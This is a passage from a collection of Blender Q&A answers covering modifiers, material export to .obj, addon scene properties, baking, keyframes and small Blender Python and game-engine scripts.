    ci.data[v.index].co.xy = squircle(*v.co.xy)

Note: Changing space would be more akin to changing Cartesian x, y, z to cylindrical r, theta, h where r is the radius, theta the angle around the axis and h the height of the cylinder.  This wouldn't change the look.
Casting to Cylinder via modifier
Could instead add a cast modifier

Result on subdivided default cube, radius set to sqrt(2)
Not sure the top is the result desired, to which would possibly require using a weighted vertex group for interior verts with cylinder axis aligned normals.


Apply armature modifier and then export the model. Use a duplicate though or after exporting, back to previous step with CTRL+Z.


How to preserve Cycles material colours when exporting to .obj format?

As mentioned by Jebediah Kerman, the viewport color in Material > Settings is exported to the .mtl file:

If you only have a few simple materials, it can be quite trivial to copy the colors by using CtrlC and CtrlV while hovering over the color selection boxes.

If you have many materials, you could write a python script to take colors from the node tree and set the viewport color accordingly.

For example, here is a simple script that looks for diffuse shaders and sets the viewport color to the color of any diffuse shaders found:

import bpy

for mat in bpy.data.materials:
    if mat.use_nodes == True:
        tree = mat.node_tree
        for node in tree.nodes:
            if node.type == "BSDF_DIFFUSE":
                col = node.inputs["Color"].default_value
                mat.diffuse_color = (col[0],col[1],col[2])

Note that the Viewport color is actually diffuse_color.


How to get scene properties working without an initialize button?

Finally managed to solve this!

One problem with the method mentioned above is if the user changes scene with the addon enabled the UI breaks because the scene properties are no longer available.

Solution:

initialize your variables under the register function and register the classes within your script.

def register():
bpy.types.Scene.myprop1 = IntProperty(default = 0)
bpy.types.Scene.myprop2 = EnumProperty(items = [('ONE', 'ONE', 'NUMBER ONE'),('TWO', 'TWO', 'NUMBER TWO'),('THREE','THREE', 'NUMBER THREE')],name = "Choose Number", default='ONE')
bpy.utils.register_class(MyPanel)
bpy.utils.register_class(MyOperator)

Then whenever you want to reference or change the item in the script use:

bpy.context.scene.myprop1

Obviously replacing myprop1 with the name of the property. For example:

print(bpy.context.scene.myprop1, bpy.context.scene.myprop2)
>>>0 ONE
bpy.context.scene.myprop1 += 1
print(bpy.context.scene.myprop1, bpy.context.scene.myprop2)
>>>1 ONE

Last but not least to unregister the script:

bpy.utils.unregister_class(MyPanel)
bpy.utils.unregister_class(MyOperator)
del bpy.types.Scene.myprop1
del bpy.types.Scene.myprop2

Initially I was using:

bpy.context.scene['prop1']

from the code snippets but this doesn't work well so I recommend using scene.prop1 instead of scene['prop1']

Hope this helps!


blender 2.79b graph editor not showing graphs

I downloaded the .blend and saw that just select the frames to appear in the rendering. Hold 'shift' and go by clicking on them.

Then just render.


How to set minimum and maximum fields of a custom ID property using Python

This is what you do to set min to 0 and max to 500, the soft_min and soft_max is optional and is only for dragging in gui:

ob = bpy.data.objects[name_of_my_object]

# this is a dictionary containing IDprops settings
# this creates it and erases it:
ob["_RNA_UI"] = {}

# add properties settings like this:
ob["_RNA_UI"]['name_of_my_property'] = {"min":0.0,
                                        "max": 500.0,
                                        "soft_min":0.0,
                                        "soft_max":500.0}


How to make a text object show dimensions of an object?

#ob is the object you want to measure
#x_ob,y_ob,z_ob are the three text objects
(x,y,z) = ob.dimensions.to_tuple()
x_ob.data.body = str(x)
y_ob.data.body = str(y)
z_ob.data.body = str(z)

If you want to use the metric system, you can add this:

bpy.context.space_data.context = 'SCENE'
bpy.context.scene.system = 'METRIC'

If you want the correct unit you can make this kind of function:

def units(x):
    if int(x) > 0:
        u = "m"
        y = x
    elif x*100 > 0:
        u = "cm"
        y = x*100
    else:
        u = "mm"
        y = x*1000
    return str(y)+" "+u


Exclude one metaball from interacting with another metaball only

There isn't much that can be done in this case. Metaballs do not have a lot of functionality in Blender. You could just insert a plane between them and set it to negative. It does deform them, so it is not ideal, but there are no other solutions as far as I am aware if you want to keep them as metaballs.


Maybe what you are looking for are Monospaced Fonts

Monospace fonts are often used in programming, code editors and command line environments and use the same space between characters regardless of the glyph width.

Just pick any monospaced font file for use in a Blender text object and it should solve this particular case.

If you don't have one you can freely download any from the internet.

If all strings will have the same length then it would solve your problem, otherwise you would have to find a way to adjust character spacing on a case by case basis.


How do I bake flat textures using cycles?

To bake texture in Cycles without having any influence from objects and lights in the scene you need to choose Diffuse Color in Bake Type. The result is similar to baking shadeless material in Blender Internal.
From Cycles Render Baking documentation page: Render Baking

Diffuse Color/Direct/Indirect
Bakes the diffuse pass of a material. Diffuse Color is a property of the surface and independent of sampling refinement.


Copying and pasting keyframes from a source camera to a destination camera (with no keyframes inside) remove all the keyframes from the source camera

What you need to do is simply select the camera you want to copy the keyframes to, then select the other camera which has the desired animation, and hit ctrl-L and select Animation Data.  You have to select the camera with the desired animation LAST


Tried Everything Cant find Nodes in Node Editor

You have to check Use Nodes otherwise no nodes will be displayed.

Then if still not visible, position all nodes in your view by pressing Home (it may also be labeled pos1 on your keyboard).


Blender 2.77 Mac Installation-Python 3.5 files could not be opened

I learned that my problem was due to using an outdated version of The Unarchiver (version 1.0.1) to unzip the Blender 2.77a zip file. Upgrading OSX over the years did not upgrade this utility. Installing the most recent version of The Unarchiver from the App Store allowed me to unzip the Blender file normally with no error messages.


Join objects deletes surfaces, and messes it up

I guess you are joining bezier curve, and the last you select before your ctrl J is in 2D (check it out in the Properties panel > Data > Shape > 2D or 3D). So either switch it to 3D or don't select this 2D object at last before your ctrl J.


What does the mouse-binding "in-between move" do?

This is an event used internally for painting and sculpting tools, it is not useful in a keymap. It can be used when writing certain tools in Python (typically modal operators).

What this event does is give you higher resolution mouse positions in between the regular mouse move events. For most tools only the latest mouse position matters, and processing the positions in between would just be wasting time. But for some tools like painting and sculpting it's useful to known the full path that the mouse traveled to get more accurate paint strokes.


Found the answer. I accidentally made the cube really big, so when I zoomed out it was by a lot, so guess technically it was an issue with the clip distance. Brenticus was right.


How to set specific location as an object's default (0,0,0)

I'm not exactly sure what you want to achieve, but if I understand it correctly, you want the camera to be the origin of an object? And the position of the object should be relative to the cameras position? If that is the case, use an empty at the cameras position, set it as a parent to the camera and all the corresponding objects. I'm not at my computer at the moment, so I can't try but it probably works if you set the camera as parent as well. All the best Marco


Dynamically assign a value to game property

always ------------This python

it will set distance.

import bge
from mathutils import Vector
cont = bge.logic.getCurrentConroller()

own = cont.owner

offset = Vector([100,0,0])

offset = own.worldPosition+(own.worldOrienation*offset)

##offset now is a point 100 units out on the objects x axis

Ray = own.rayCast(offset , own.worldPosition, 0, '',0,0,0)
## cast a ray to the offset point, 0 units past, looking for any property, not xray and
##  Not returning polydata

if Ray[0]:
## if you hit something
    own['Distance'] = own.getDistanceTo(Ray[1])
## if you dont hit something
else:
    own['Distance'] = own.getDistanceTo(offset)

about scale

in object

always--------------and------------copy distance from raycaster

Distance is changed------python below

import bge
cont = bge.logic.getCurrentController()
own=cont.owner

own.localScale =[1-own['Distance']*.01,1-own['Distance']*.01,1-own['Distance']*.01]

Note,

Ray[1] = world Position Where Ray hit
Ray[0] = who it hit

http://www.pasteall.org/blend/34899


Extrude face along normal, following connected edge (extend geometry)?

In face select, they will only extrude along their normals. In vertex select you can direct the extrusion where you want. And lets you do combinations like E-S-Y-Shift Z or whatever you need.